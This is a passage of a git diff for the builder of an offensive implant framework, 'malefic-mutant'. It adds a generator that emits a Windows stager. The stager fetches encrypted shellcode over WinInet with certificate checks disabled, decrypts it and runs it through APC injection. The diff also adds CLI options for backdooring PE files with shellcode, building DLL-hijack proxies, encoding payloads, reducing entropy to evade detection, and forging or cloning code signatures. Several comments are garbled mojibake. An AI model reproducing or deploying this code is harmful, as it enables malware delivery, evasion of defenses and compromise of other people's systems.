method_wide, + path_wide_len = path_wide_len, + path_wide = path_wide, + key_len = key.len(), + key_bytes = key_bytes, + iv_len = iv.len(), + iv_bytes = iv_bytes, + headers_decl = if has_headers { + format!( + "let req_headers: [u16; {}] = [{}];", + headers_wide_len, headers_wide + ) + } else { + String::new() + }, + headers_ptr = if has_headers { + "req_headers.as_ptr()" + } else { + "core::ptr::null()" + }, + headers_param_len = if has_headers { + format!("{}u32", headers_str.len()) // character count, not u16 count + } else { + "0u32".to_string() + }, + request_flags = request_flags, + tls_ignore_cert = if tls { + r#"// Ignore certificate errors for self-signed certs + // WINHTTP_OPTION_SECURITY_FLAGS = 31 + // WinHTTP does not support SECURITY_FLAG_IGNORE_REVOCATION (0x80), + // revocation checking is disabled by default in WinHTTP. + let mut sec_flags: DWORD = 0x00000100u32 | 0x00000200u32 | 0x00001000u32 | 0x00002000u32; + p_winhttp_set_option( + h_request, + 31u32, + &mut sec_flags as *mut DWORD as PVOID, + 4u32, + );"# + } else { + "" + }, + start = config.flags.start, + end = config.flags.end, + magic = format!("0x{:08x}", magic), + artifact_id = config.flags.artifact_id, + ); + + let instance_rs = format!("{}\n{}\n}}\n", template, start_method); + let target_path = std::path::Path::new(TARGET_INSTANCE_PATH); + std::fs::write(target_path, instance_rs)?; + + Ok(()) +} + +fn format_byte_literals(bytes: &[u8]) -> String { + bytes + .iter() + .map(|b| format!("0x{:02x}", b)) + .collect::>() + .join(", ") +} + +/// Format a string as a wide (UTF-16LE) u16 array literal, null-terminated +fn format_wide_literals(s: &str) -> String { + s.encode_utf16() + .chain(core::iter::once(0u16)) + .map(|c| format!("0x{:04x}", c)) + .collect::>() + .join(", ") +} + +/// Get the length of the wide string array (including null terminator) +fn wide_len(s: &str) -> usize { + s.encode_utf16().count() + 1 // +1 for null terminator +} diff --git a/malefic-mutant/src/build/pulse/wininet.rs b/malefic-mutant/src/build/pulse/wininet.rs new file mode 100644 index 0000000..382d9e9 --- /dev/null +++ b/malefic-mutant/src/build/pulse/wininet.rs @@ -0,0 +1,354 @@ +use super::utils::{djb2_hash, INSTANCE_TEMPLATE_PATH, TARGET_INSTANCE_PATH}; +use crate::config::{GenerateArch, PulseConfig, Version}; + +pub fn generate_wininet_pulse( + config: PulseConfig, + _arch: GenerateArch, + _version: &Version, + _source: bool, + tls: bool, +) -> anyhow::Result<()> { + let template_path = std::path::Path::new(INSTANCE_TEMPLATE_PATH); + if !template_path.exists() { + anyhow::bail!("Instance template not found: {}", INSTANCE_TEMPLATE_PATH); + } + let template = std::fs::read_to_string(template_path)?; + + let url = &config.target; + if url.is_empty() { + anyhow::bail!("target url is empty."); + } + let colon_pos = url + .find(':') + .ok_or_else(|| anyhow::anyhow!("invalid target format, expected ip:port"))?; + let (ip, port_str) = url.split_at(colon_pos); + let port: u16 = port_str[1..].parse()?; + + let magic = djb2_hash(&config.flags.magic); + let key = &config.key; + let iv: String = key.chars().rev().collect(); + + let key_bytes = format_byte_literals(key.as_bytes()); + let iv_bytes = format_byte_literals(iv.as_bytes()); + let ip_bytes = format_byte_literals(ip.as_bytes()); + + // Build HTTP headers string for HttpSendRequestA: "Header1: Value1\r\nHeader2: Value2\r\n" + let mut headers_str = String::new(); + for (k, v) in &config.http.headers { + headers_str.push_str(&format!("{}: {}\r\n", k, v)); + } + let headers_bytes = format_byte_literals(headers_str.as_bytes()); + + let method_bytes = format_byte_literals(config.http.method.as_bytes()); + let path_bytes = format_byte_literals(config.http.path.as_bytes()); + + // WinInet flags: INTERNET_FLAG_RELOAD always, plus INTERNET_FLAG_SECURE + cert ignore if tls + let request_flags = if tls { + // INTERNET_FLAG_SECURE | INTERNET_FLAG_RELOAD | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID + "0x00800000u32 | 0x80000000u32 | 0x00001000u32 | 0x00002000u32" + } else { + "0x80000000u32" // INTERNET_FLAG_RELOAD only + }; + + let start_method = format!( + r#" pub unsafe fn start(&self, _args: *mut c_void) {{ + fn xor_process(data: &mut [u8], key: &[u8], iv: &[u8], counter: &mut usize) {{ + for byte in data.iter_mut() {{ + *byte ^= key[*counter % key.len()] ^ iv[*counter % iv.len()]; + *counter += 1; + }} + }} + + // Load wininet.dll + let dll_name: [u8; 12] = [b'w', b'i', b'n', b'i', b'n', b'e', b't', b'.', b'd', b'l', b'l', 0]; + let load_lib: FnLoadLibraryA = core::mem::transmute(self.kernel32.LoadLibraryA); + let h_dll = load_lib(dll_name.as_ptr() as *mut u8); + if h_dll.is_null() {{ return; }} + let dll_base = h_dll as usize; + + // Resolve WinInet APIs via hash + let p_internet_open: FnInternetOpenA = core::mem::transmute( + resolve::_api(dll_base, hash_str!("InternetOpenA") as usize)); + let p_internet_connect: FnInternetConnectA = core::mem::transmute( + resolve::_api(dll_base, hash_str!("InternetConnectA") as usize)); + let p_http_open_request: FnHttpOpenRequestA = core::mem::transmute( + resolve::_api(dll_base, hash_str!("HttpOpenRequestA") as usize)); + let p_http_send_request: FnHttpSendRequestA = core::mem::transmute( + resolve::_api(dll_base, hash_str!("HttpSendRequestA") as usize)); + let p_internet_read_file: FnInternetReadFile = core::mem::transmute( + resolve::_api(dll_base, hash_str!("InternetReadFile") as usize)); + let p_internet_close_handle: FnInternetCloseHandle = core::mem::transmute( + resolve::_api(dll_base, hash_str!("InternetCloseHandle") as usize)); + let p_internet_set_option: FnInternetSetOptionA = core::mem::transmute( + resolve::_api(dll_base, hash_str!("InternetSetOptionA") as usize)); + + // User-Agent string + let ua: [u8; 1] = [0]; // empty user agent + + // InternetOpenA(agent, INTERNET_OPEN_TYPE_DIRECT=1, null, null, 0) + let h_internet = p_internet_open( + ua.as_ptr() as PSTR, + 1u32, + core::ptr::null_mut(), + core::ptr::null_mut(), + 0u32, + ); + if h_internet.is_null() {{ return; }} + + // InternetConnectA(hInternet, server, port, null, null, INTERNET_SERVICE_HTTP=3, 0, 0) + let ip_addr: [u8; {ip_len}] = [{ip_bytes}, 0]; + let h_connect = p_internet_connect( + h_internet, + ip_addr.as_ptr() as PSTR, + {port}u16, + core::ptr::null_mut(), + core::ptr::null_mut(), + 3u32, + 0u32, + 0usize, + ); + if h_connect.is_null() {{ + p_internet_close_handle(h_internet); + return; + }} + + // HttpOpenRequestA(hConnect, method, path, version, null, null, flags, 0) + let method: [u8; {method_len}] = [{method_bytes}, 0]; + let path: [u8; {path_len}] = [{path_bytes}, 0]; + let flags: DWORD = {request_flags}; + let h_request = p_http_open_request( + h_connect, + method.as_ptr() as PSTR, + path.as_ptr() as PSTR, + core::ptr::null_mut(), + core::ptr::null_mut(), + core::ptr::null_mut(), + flags, + 0usize, + ); + if h_request.is_null() {{ + p_internet_close_handle(h_connect); + p_internet_close_handle(h_internet); + return; + }} + + {tls_ignore_cert} + + // Configuration + let key: [u8; {key_len}] = [{key_bytes}]; + let iv: [u8; {iv_len}] = [{iv_bytes}]; + + // Build handshake body: [start][magic:4][artifact_id:4][end] + let mut body: [u8; 10] = [0; 10]; + body[0] = {start}u8; + let m = {magic}u32.to_le_bytes(); + body[1] = m[0]; body[2] = m[1]; body[3] = m[2]; body[4] = m[3]; + let a = {artifact_id}u32.to_le_bytes(); + body[5] = a[0]; body[6] = a[1]; body[7] = a[2]; body[8] = a[3]; + body[9] = {end}u8; + + // Encrypt body + let mut counter: usize = 0; + xor_process(&mut body, &key, &iv, &mut counter); + + // HttpSendRequestA(hRequest, headers, headersLen, body, bodyLen) + let headers: [u8; {headers_len}] = [{headers_bytes_val}]; + let ret = p_http_send_request( + h_request, + {headers_ptr}, + {headers_dword_len}u32, + body.as_ptr() as PVOID, + 10u32, + ); + if ret == 0 {{ + p_internet_close_handle(h_request); + p_internet_close_handle(h_connect); + p_internet_close_handle(h_internet); + return; + }} + + // Read response body: first 9 bytes header + let mut resp: [u8; 9] = [0; 9]; + let mut offset = 0u32; + while offset < 9 {{ + let mut bytes_read: DWORD = 0; + let ret = p_internet_read_file( + h_request, + resp.as_mut_ptr().add(offset as usize) as PVOID, + 9 - offset, + &mut bytes_read, + ); + if ret == 0 || bytes_read == 0 {{ + p_internet_close_handle(h_request); + p_internet_close_handle(h_connect); + p_internet_close_handle(h_internet); + return; + }} + offset += bytes_read; + }} + + // Decrypt and validate response + counter = 0; + xor_process(&mut resp, &key, &iv, &mut counter); + if resp[0] != {start}u8 {{ + p_internet_close_handle(h_request); + p_internet_close_handle(h_connect); + p_internet_close_handle(h_internet); + return; + }} + let recv_magic = u32::from_le_bytes([resp[1], resp[2], resp[3], resp[4]]); + let recv_len = u32::from_le_bytes([resp[5], resp[6], resp[7], resp[8]]); + if recv_magic != {magic}u32 || recv_len == 0 {{ + p_internet_close_handle(h_request); + p_internet_close_handle(h_connect); + p_internet_close_handle(h_internet); + return; + }} + + // Allocate memory for shellcode + let mut base_addr: PVOID = core::ptr::null_mut(); + let mut region_size: SIZE_T = recv_len as usize + 1; + let nt_alloc: FnNtAllocateVirtualMemory = + core::mem::transmute(self.ntdll.NtAllocateVirtualMemory); + let status = nt_alloc( + -1isize as HANDLE, &mut base_addr, 0, &mut region_size, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, + ); + if status != STATUS_SUCCESS || base_addr.is_null() {{ + p_internet_close_handle(h_request); + p_internet_close_handle(h_connect); + p_internet_close_handle(h_internet); + return; + }} + + // Read shellcode via InternetReadFile + let mut total_read: u32 = 0; + while total_read < recv_len {{ + let mut bytes_read: DWORD = 0; + let ret = p_internet_read_file( + h_request, + (base_addr as *mut u8).add(total_read as usize) as PVOID, + recv_len - total_read, + &mut bytes_read, + ); + if ret == 0 || bytes_read == 0 {{ + p_internet_close_handle(h_request); + p_internet_close_handle(h_connect); + p_internet_close_handle(h_internet); + return; + }} + total_read += bytes_read; + }} + p_internet_close_handle(h_request); + p_internet_close_handle(h_connect); + p_internet_close_handle(h_internet); + + // Decrypt shellcode + xor_process( + core::slice::from_raw_parts_mut(base_addr as *mut u8, recv_len as usize), + &key, &iv, &mut counter, + ); + + // Change memory protection to executable + let mut old_protect: ULONG = 0; + let mut protect_base = base_addr; + let mut protect_size = region_size; + let nt_protect: FnNtProtectVirtualMemory = + core::mem::transmute(self.ntdll.NtProtectVirtualMemory); + nt_protect( + -1isize as HANDLE, &mut protect_base, &mut protect_size, + PAGE_EXECUTE_READ, &mut old_protect, + ); + + // Execute shellcode via APC injection + let nt_create: FnNtCreateThreadEx = + core::mem::transmute(self.ntdll.NtCreateThreadEx); + let nt_queue: FnNtQueueApcThread = + core::mem::transmute(self.ntdll.NtQueueApcThread); + let nt_resume: FnNtAlertResumeThread = + core::mem::transmute(self.ntdll.NtAlertResumeThread); + let nt_wait: FnNtWaitForSingleObject = + core::mem::transmute(self.ntdll.NtWaitForSingleObject); + + let mut thread_handle: HANDLE = core::ptr::null_mut(); + nt_create( + &mut thread_handle, 0x1FFFFF, core::ptr::null_mut(), + -1isize as HANDLE, base_addr, core::ptr::null_mut(), + THREAD_CREATE_FLAGS_CREATE_SUSPENDED, + 0, 0, 0, core::ptr::null_mut(), + ); + if thread_handle.is_null() {{ return; }} + + nt_queue( + thread_handle, base_addr, + core::ptr::null_mut(), core::ptr::null_mut(), core::ptr::null_mut(), + ); + + let mut suspend_count: ULONG = 0; + nt_resume(thread_handle, &mut suspend_count); + nt_wait(thread_handle, 0, core::ptr::null_mut()); + }}"#, + ip_len = ip.len() + 1, + ip_bytes = ip_bytes, + port = port, + key_len = key.len(), + key_bytes = key_bytes, + iv_len = iv.len(), + iv_bytes = iv_bytes, + method_len = config.http.method.len() + 1, + method_bytes = method_bytes, + path_len = config.http.path.len() + 1, + path_bytes = path_bytes, + headers_len = if headers_str.is_empty() { + 1 + } else { + headers_str.len() + 1 + }, + headers_bytes_val = if headers_str.is_empty() { + "0".to_string() + } else { + format!("{}, 0", headers_bytes) + }, + headers_ptr = if headers_str.is_empty() { + "core::ptr::null_mut()".to_string() + } else { + "headers.as_ptr() as PSTR".to_string() + }, + headers_dword_len = if headers_str.is_empty() { + 0 + } else { + headers_str.len() + }, + request_flags = request_flags, + tls_ignore_cert = if tls { + r#"// Pre-set security flags to ignore certificate errors + let mut sec_flags: DWORD = 0x00000080u32 | 0x00000100u32 | 0x00000200u32 | 0x00001000u32 | 0x00002000u32; + p_internet_set_option( + h_request, + 31u32, + &mut sec_flags as *mut DWORD as PVOID, + 4u32, + );"# + } else { + "" + }, + start = config.flags.start, + end = config.flags.end, + magic = format!("0x{:08x}", magic), + artifact_id = config.flags.artifact_id, + ); + + let instance_rs = format!("{}\n{}\n}}\n", template, start_method); + let target_path = std::path::Path::new(TARGET_INSTANCE_PATH); + std::fs::write(target_path, instance_rs)?; + + Ok(()) +} + +fn format_byte_literals(bytes: &[u8]) -> String { + bytes + .iter() + .map(|b| format!("0x{:02x}", b)) + .collect::>() + .join(", ") +} diff --git a/malefic-mutant/src/cmd.rs b/malefic-mutant/src/cmd.rs index 1ba6aad..50354c3 100644 --- a/malefic-mutant/src/cmd.rs +++ b/malefic-mutant/src/cmd.rs @@ -8,6 +8,10 @@ use strum_macros::Display; #[derive(Parser)] #[command(name = "malefic-config", about = "Config malefic beacon and prelude.")] pub struct Cli { + /// Enable debug-level logging (verbose output) + #[arg(long, global = true)] + pub debug: bool, + #[command(subcommand)] pub(crate) command: Commands, } @@ -28,6 +32,14 @@ pub enum Commands { #[arg(long, short = 's', global = true, default_value = "false")] source: bool, + /// Use patch-friendly config blocks (disable obfstr, keep XOR blocks for binary patch) + #[arg(long, global = true, default_value = "false")] + patch_mode: bool, + + /// Directory containing metadata wordlist files for random generation (e.g. company_name.txt) + #[arg(long, global = true)] + metadata_wordlist: Option, + #[command(subcommand)] command: GenerateCommands, }, @@ -46,6 +58,14 @@ pub enum Commands { )] target: String, + /// Build as shared library (dll/so/dylib) instead of executable + #[arg(long, default_value_t = false)] + lib: bool, + + /// Build with the dev profile instead of release + #[arg(long, default_value_t = false)] + dev: bool, + #[command(subcommand)] command: BuildCommands, }, @@ -54,7 +74,7 @@ pub enum Commands { Tool(Tool), } -// é…置类命令 +// Configuration commands #[derive(Subcommand)] pub enum GenerateCommands { /// Config beacon @@ -87,27 +107,11 @@ pub enum GenerateCommands { module: String, }, - /// Generate ProxyDLL for DLL hijacking - ProxyDLL { - /// Raw DLL path (for parsing exports). If not specified, reads from config file. - #[arg(long, short = 'r', default_value = "")] - raw_dll: String, - - /// Proxied DLL path (runtime forwarding target). If not specified, reads from config file. - #[arg(long, short = 'p', default_value = "")] - proxied_dll: String, - - /// Proxy DLL name (generated proxy DLL name). Optional, defaults to proxied DLL's filename. - #[arg(long, short = 'o')] - proxy_dll: Option, - - /// Comma-separated exports to hijack for payload execution - #[arg(long, short = 'e', default_value = "")] - hijacked_exports: String, - - /// Use NtCreateThreadEx instead of std::thread - #[arg(long)] - native_thread: bool, + /// Loader generation (template / proxydll / patch) + #[command(name = "loader")] + Loader { + #[command(subcommand)] + command: LoaderCommands, }, /// Generate pulse @@ -180,7 +184,11 @@ pub enum BuildCommands { }, /// Build pulse - Pulse, + Pulse { + /// Output as raw shellcode (.bin) via objcopy + #[arg(long, default_value_t = false)] + shellcode: bool, + }, /// Build proxy-dll #[command(name = "proxy-dll")] @@ -188,52 +196,214 @@ pub enum BuildCommands { } #[derive(Subcommand)] -pub enum SigForgeCommands { - /// Extract signature from a signed PE file - Extract { +pub enum LoaderCommands { + /// Build template loader + #[command(name = "template")] + Template { + /// Template name (or "random" for random selection) + #[arg(long, short = 't', default_value = "random")] + template: String, + + /// List available templates + #[arg(long, short = 'l')] + list: bool, + + /// Input payload file to embed in the loader + #[arg(long, short = 'i')] + input: Option, + + /// Encoding method for payload (xor, uuid, mac, ipv4, base64, base45, base58, aes, aes2, des, chacha, rc4) + #[arg(long, short = 'e')] + encoding: Option, + + /// Enable debug output in loader + #[arg(long)] + debug: bool, + }, + + /// Generate ProxyDLL for DLL hijacking + #[command(name = "proxydll")] + ProxyDll { + /// Raw DLL path (for parsing exports). If not specified, reads from config file. + #[arg(long, short = 'r', default_value = "")] + raw_dll: String, + + /// Proxied DLL path (runtime forwarding target). If not specified, reads from config file. + #[arg(long, short = 'p', default_value = "")] + proxied_dll: String, + + /// Proxy DLL name (generated proxy DLL name). Optional, defaults to proxied DLL's filename. + #[arg(long, short = 'o')] + proxy_dll: Option, + + /// Comma-separated exports to hijack for payload execution + #[arg(long, short = 'e', default_value = "")] + hijacked_exports: String, + + /// Use NtCreateThreadEx instead of std::thread + #[arg(long)] + native_thread: bool, + + #[arg(long)] + hijack_dll_main: bool, + }, + + /// Patch PE binary with shellcode (BDF - Backdoor Factory) + #[command(name = "patch")] + Patch { + /// Target PE binary to backdoor + #[arg(long, short = 'f')] + file: String, + + /// Shellcode file to inject + #[arg(long, short = 'i')] + input: Option, + + /// Output file path + #[arg(long, short = 'o')] + output: Option, + + /// Only find and list code caves (no patching) + #[arg(long)] + find_caves: bool, + + /// Force add new section instead of using code cave + #[arg(long)] + add_section: bool, + + /// Section name for new section + #[arg(long, default_value = ".sdata")] + section_name: String, + + /// Minimum code cave size in bytes + #[arg(long, default_value_t = 380)] + min_cave: usize, + + /// Do NOT disable ASLR (default: ASLR is disabled for hardcoded addresses) + #[arg(long)] + no_disable_aslr: bool, + + /// Do NOT zero certificate table (default: cert table is zeroed) + #[arg(long)] + no_zero_cert: bool, + + /// Wait for shellcode thread before jumping to original EP + /// "none" = no wait (default), "wait" = WaitForSingleObject(INFINITE), "sleep:N" = Sleep N seconds + #[arg(long, default_value = "none")] + wait: String, + + /// Execution technique for shellcode loading + /// Available: direct, create_thread (default), fiber, apc, enum_fonts, enum_locales, threadpool, nt_create_thread + #[arg(long, short = 't', default_value = "create_thread")] + technique: String, + + /// Stub hash algorithm: ror13 (default), djb2, fnv1a + #[arg(long, default_value = "ror13")] + stub_hash: String, + + /// Enable polymorphic stub generation + #[arg(long)] + stub_poly: bool, + + /// Enable stub self-encryption (XOR decrypt wrapper) + #[arg(long)] + stub_encrypt: bool, + + /// Evasion preset: none (default), basic, poly, full + /// Overrides individual --stub-* flags when not "none" + #[arg(long, default_value = "none")] + evasion: String, + + /// RNG seed for reproducible polymorphic output (0 = random) + #[arg(long, default_value_t = 0)] + seed: u64, + }, +} + +#[derive(Subcommand)] +pub enum WatermarkCommands { + /// Write watermark into a PE file + Write { /// Input PE file #[arg(short = 'i', long)] input: String, - /// Output signature file + /// Output PE file #[arg(short = 'o', long)] - output: Option, + output: String, + /// Watermark method: checksum, dosstub, section, overlay + #[arg(short = 'm', long)] + method: String, + /// Watermark data (string) + #[arg(short = 'w', long)] + watermark: String, }, - /// Copy signature from one PE file to another - Copy { - /// Source PE file (signed) + /// Read watermark from a PE file + Read { + /// Input PE file + #[arg(short = 'i', long)] + input: String, + /// Watermark method: checksum, dosstub, section, overlay + #[arg(short = 'm', long)] + method: String, + /// Size hint for reading (bytes, used by dosstub/overlay) #[arg(short = 's', long)] - source: String, - /// Target PE file (to be signed) - #[arg(short = 't', long)] - target: String, - /// Output file path - #[arg(short = 'o', long)] - output: Option, + size: Option, }, - /// Inject signature from file into PE file - Inject { - /// Signature file +} + +#[derive(Subcommand)] +pub enum BinderCommands { + /// Bind a secondary PE onto a primary PE + Bind { + /// Primary PE file (carrier) + #[arg(short = 'p', long)] + primary: String, + /// Secondary PE file (payload to embed) #[arg(short = 's', long)] - signature: String, - /// Target PE file - #[arg(short = 't', long)] - target: String, + secondary: String, /// Output file path #[arg(short = 'o', long)] - output: Option, + output: String, }, - /// Remove signature from PE file - Remove { - /// Input PE file + /// Extract embedded secondary PE from a bound file + Extract { + /// Bound PE file #[arg(short = 'i', long)] input: String, - /// Output file path + /// Output file for extracted payload #[arg(short = 'o', long)] - output: Option, + output: String, }, + /// Check if a file contains embedded payload Check { + /// Input file to check + #[arg(short = 'i', long)] + input: String, + }, +} + +#[derive(Subcommand)] +pub enum IconCommands { + /// Replace icon in a PE file + Replace { + /// Input PE file + #[arg(short = 'i', long)] + input: String, + /// ICO file to use as replacement + #[arg(long)] + ico: String, + /// Output PE file + #[arg(short = 'o', long)] + output: String, + }, + /// Extract icon from a PE file to ICO + Extract { + /// Input PE file #[arg(short = 'i', long)] input: String, + /// Output ICO file + #[arg(short = 'o', long)] + output: String, }, } @@ -321,13 +491,6 @@ pub enum Tool { output: String, }, - /// PE file signature manipulation tool - #[command(name = "sigforge")] - SigForge { - #[command(subcommand)] - command: SigForgeCommands, - }, - /// Patch compiled binaries (NAME / KEY / SERVER address) #[command(name = "patch")] Patch { @@ -355,4 +518,157 @@ pub enum Tool { #[arg(long = "xor-key")] xor_key: Option, }, + + /// Patch runtime config blob (CFGv3B64 prefix + fixed payload) + #[command(name = "patch-config")] + PatchConfig { + /// Target binary file (e.g. malefic.exe) + #[arg(long, short = 'f')] + file: String, + + /// Runtime config file (json/yaml) matching RuntimeConfig + #[arg(long, short = 'c')] + config: Option, + + /// Generate from implant.yaml instead of raw RuntimeConfig + #[arg(long = "from-implant")] + from_implant: Option, + + /// Pre-encoded blob string (length must equal CONFIG_BLOB_B64_LEN) + #[arg(long)] + blob: Option, + + /// Output file path (defaults to .patched) + #[arg(long, short = 'o')] + output: Option, + }, + + /// Payload encoding tool (T1132) + #[command(name = "encode")] + Encode { + /// Input binary file + #[arg(long, short = 'i')] + input: Option, + + /// Encoding method (xor, uuid, mac, ipv4, base64, base45, base58, aes, aes2, des, chacha, rc4) + #[arg(long, short = 'e', default_value = "xor")] + encoding: String, + + /// Output file path + #[arg(long, short = 'o')] + output: Option, + + /// Output format: bin, c, rust, all + #[arg(long, short = 'f', default_value = "bin")] + format: String, + + /// List available encodings + #[arg(long, short = 'l')] + list: bool, + }, + + /// Measure and reduce Shannon entropy of PE files + #[command(name = "entropy")] + Entropy { + /// Input PE file + #[arg(short = 'i', long)] + input: String, + /// Output file path (not used with --measure-only) + #[arg(short = 'o', long)] + output: Option, + /// Target entropy threshold (default 6.0) + #[arg(short = 't', long, default_value = "6.0")] + threshold: f64, + /// Reduction strategy: null_bytes, pokemon, random_words + #[arg(short = 's', long, default_value = "null_bytes")] + strategy: String, + /// Maximum file growth multiplier (default 5.0x) + #[arg(long, default_value = "5.0")] + max_growth: f64, + /// Only measure entropy, do not modify + #[arg(long)] + measure_only: bool, + }, + + /// PE file watermark embedding and reading + #[command(name = "watermark")] + Watermark { + #[command(subcommand)] + command: WatermarkCommands, + }, + + /// Bind/embed a secondary PE into a primary PE + #[command(name = "binder")] + Binder { + #[command(subcommand)] + command: BinderCommands, + }, + + /// PE file signature manipulation tool + #[command(name = "sigforge")] + SigForge { + #[command(subcommand)] + command: SigForgeCommands, + }, + + /// Replace or extract icons in PE files + #[command(name = "icon")] + Icon { + #[command(subcommand)] + command: IconCommands, + }, } + +#[derive(Subcommand)] +pub enum SigForgeCommands { + /// Extract signature from a signed PE file + Extract { + #[arg(short = 'i', long)] + input: String, + #[arg(short = 'o', long)] + output: Option, + }, + /// Copy signature from one PE file to another + Copy { + #[arg(short = 's', long)] + source: String, + #[arg(short = 't', long)] + target: String, + #[arg(short = 'o', long)] + output: Option, + }, + /// Inject signature from file into PE file + Inject { + #[arg(short = 's', long)] + signature: String, + #[arg(short = 't', long)] + target: String, + #[arg(short = 'o', long)] + output: Option, + }, + /// Remove signature from PE file + Remove { + #[arg(short = 'i', long)] + input: String, + #[arg(short = 'o', long)] + output: Option, + }, + /// Check if a PE file is signed + Check { + #[arg(short = 'i', long)] + input: String, + }, + /// Clone a TLS certificate from a remote host and inject into PE + CarbonCopy { + #[arg(long)] + host: Option, + #[arg(long, default_value = "443")] + port: u16, + #[arg(long)] + cert_file: Option, + #[arg(short = 't', long)] + target: String, + #[arg(short = 'o', long)] + output: Option, + }, +} \ No newline at end of file diff --git a/malefic-mutant/src/config/mod.rs b/malefic-mutant/src/config/mod.rs index 399a7be..5d104c1 100644 --- a/malefic-mutant/src/config/mod.rs +++ b/malefic-mutant/src/config/mod.rs @@ -4,6 +4,8 @@ use std::collections::HashMap; use std::net::IpAddr; use strum_macros::{Display, EnumString}; +const DEFAULT_TLS_PORT: &str = ":443"; + #[derive(Debug, Clone, Serialize, Deserialize)] pub struct Implant { pub basic: BasicConfig, @@ -19,30 +21,33 @@ pub struct BasicConfig { pub name: String, // targets: Vec, pub targets: Vec, - // pub protocol: String, // 准备删除 + // pub protocol: String, // To be removed // pub tls: TLSConfig, pub proxy: ProxyConfig, - // cron表达å¼é…ç½® + // Cron expression configuration #[serde(default = "default_cron")] - pub cron: String, // cron表达å¼ï¼Œå¦‚ "*/5 * * * * * *" + pub cron: String, // Cron expression, e.g. "*/5 * * * * * *" - pub jitter: f64, // ä¿ç•™jitter + pub jitter: f64, // Keep jitter + #[serde(default)] + pub keepalive: bool, pub encryption: String, pub key: String, - // pub init_retry: u32, - pub server_retry: u32, - pub global_retry: u32, + pub retry: u32, // Number of consecutive failures allowed per target + #[serde(default = "default_max_cycles")] + pub max_cycles: Option, // Maximum number of cycles, -1 means infinite loop - // DGAé…ç½® + // DGA configuration #[serde(default)] pub dga: DgaConfig, - // Guardrailé…ç½® - 环境检测防护 + // Guardrail configuration - environment detection protection #[serde(default)] pub guardrail: GuardrailConfig, - // rem: REMConfig, - // http: HttpConfig, - // pub protocol: () + // Maximum packet size for auto-chunking (matches server pipeline packet_length). + // 0 = disabled (no chunking). + #[serde(default)] + pub max_packet_length: usize, pub secure: SecureConfig, } @@ -126,15 +131,19 @@ impl Default for GuardrailConfig { } fn default_cron() -> String { - "*/5 * * * * * *".to_string() // 默认æ¯5ç§’ + "*/5 * * * * * *".to_string() // Default: every 5 seconds +} + +fn default_max_cycles() -> Option { + Some(-1) // Default: -1 means infinite loop } #[derive(Debug, Clone, Serialize, Deserialize)] pub struct TargetConfig { pub address: String, - // 域ååŽç¼€é…置(用于DGA等功能) - // åªæœ‰é…ç½®äº†æ­¤å­—æ®µçš„ç›®æ ‡æ‰æ”¯æŒDGA + // Domain suffix configuration (for DGA and other features) + // Only targets with this field configured support DGA #[serde(default)] pub domain_suffix: Option, @@ -147,38 +156,55 @@ pub struct TargetConfig { pub rem: Option, #[serde(default)] pub proxy: Option, + #[serde(default)] + pub session: Option, +} + +#[derive(Debug, Clone, Serialize, Deserialize, Default)] +pub struct SessionConfig { + #[serde(default)] + pub read_chunk_size: Option, + #[serde(default)] + pub deadline_ms: Option, + #[serde(default)] + pub connect_timeout_ms: Option, + #[serde(default)] + pub keepalive: Option, } #[derive(Debug, Clone, Serialize, Deserialize)] pub struct TLSConfig { pub enable: bool, - /// TLS版本: "auto", "1.2", "1.3" + /// TLS version: "auto", "1.2", "1.3" #[serde(default = "default_tls_version")] pub version: String, - /// æœåС噍å称指示(SNI) + /// Server Name Indication (SNI) #[serde(default)] pub sni: String, #[serde(default)] pub skip_verification: bool, - /// mTLS客户端è¯ä¹¦é…ç½® + /// CA certificate file path for server verification (optional, top-level) + #[serde(default)] + pub server_ca: Option, + /// mTLS client certificate configuration #[serde(default)] pub mtls: Option, } #[derive(Debug, Clone, Serialize, Deserialize)] pub struct MTLSConfig { - /// å¯ç”¨mTLS + /// Enable mTLS pub enable: bool, - /// 客户端è¯ä¹¦æ–‡ä»¶è·¯å¾„ + /// Client certificate file path pub client_cert: String, - /// 客户端ç§é’¥æ–‡ä»¶è·¯å¾„ + /// Client private key file path pub client_key: String, - /// ç”¨äºŽéªŒè¯æœåŠ¡ç«¯çš„CAè¯ä¹¦è·¯å¾„(å¯é€‰ï¼‰ + /// CA certificate path for server verification (optional) #[serde(default)] pub server_ca: String, } -// 默认值函数 +// Default value functions fn default_tls_version() -> String { "auto".to_string() } @@ -197,8 +223,6 @@ pub struct BuildConfig { pub metadata: Option, #[serde(default = "default_toolchain")] pub toolchain: String, - #[serde(rename = "remap")] - pub refresh_remap_path_prefix: bool, #[serde(default = "default_obfstr")] pub obfstr: bool, } @@ -220,21 +244,28 @@ pub struct PulseConfig { pub protocol: String, pub encryption: String, pub key: String, + #[serde(default)] pub http: HttpConfig, + #[serde(default)] + pub api_type: String, } #[derive(Debug, Clone, Serialize, Deserialize)] pub struct TcpConfig { - // TCP特有é…ç½®å¯ä»¥åœ¨è¿™é‡Œæ·»åŠ  + // TCP-specific configuration can be added here } -#[derive(Debug, Clone, Serialize, Deserialize)] +#[derive(Debug, Clone, Serialize, Deserialize, Default)] pub struct HttpConfig { pub method: String, pub path: String, // pub host: String, pub version: String, pub headers: HashMap, + #[serde(default)] + pub response_read_chunk_size: Option, + #[serde(default)] + pub response_retry_delay_ms: Option, } #[derive(Debug, Clone, Serialize, Deserialize)] @@ -243,7 +274,7 @@ pub struct REMConfig { } impl TargetConfig { - /// 获å–目标的主机地å€ï¼ˆä¸åŒ…å«ç«¯å£ï¼‰ + /// Get the target's host address (without port) pub fn get_host(&self) -> String { if let Some(colon_pos) = self.address.rfind(':') { self.address[..colon_pos].to_string() @@ -252,18 +283,18 @@ impl TargetConfig { } } - /// 检测目标使用的å议类型 + /// Detect the protocol type used by the target pub fn detect_protocol(&self) -> String { if self.http.is_some() { "http".to_string() } else if self.rem.is_some() { "rem".to_string() } else { - "tcp".to_string() // 默认åè®® + "tcp".to_string() // Default protocol } } - /// æ£€æŸ¥åœ°å€æ˜¯å¦ä¸ºIPåœ°å€ + /// Check if the address is an IP address #[allow(dead_code)] pub fn is_ip_address(&self) -> bool { if let Some(colon_pos) = self.address.rfind(':') { @@ -274,40 +305,40 @@ impl TargetConfig { } } - /// æ£€æŸ¥åœ°å€æ˜¯å¦ä¸ºåŸŸå + /// Check if the address is a domain name #[allow(dead_code)] pub fn is_domain_address(&self) -> bool { !self.is_ip_address() } - /// 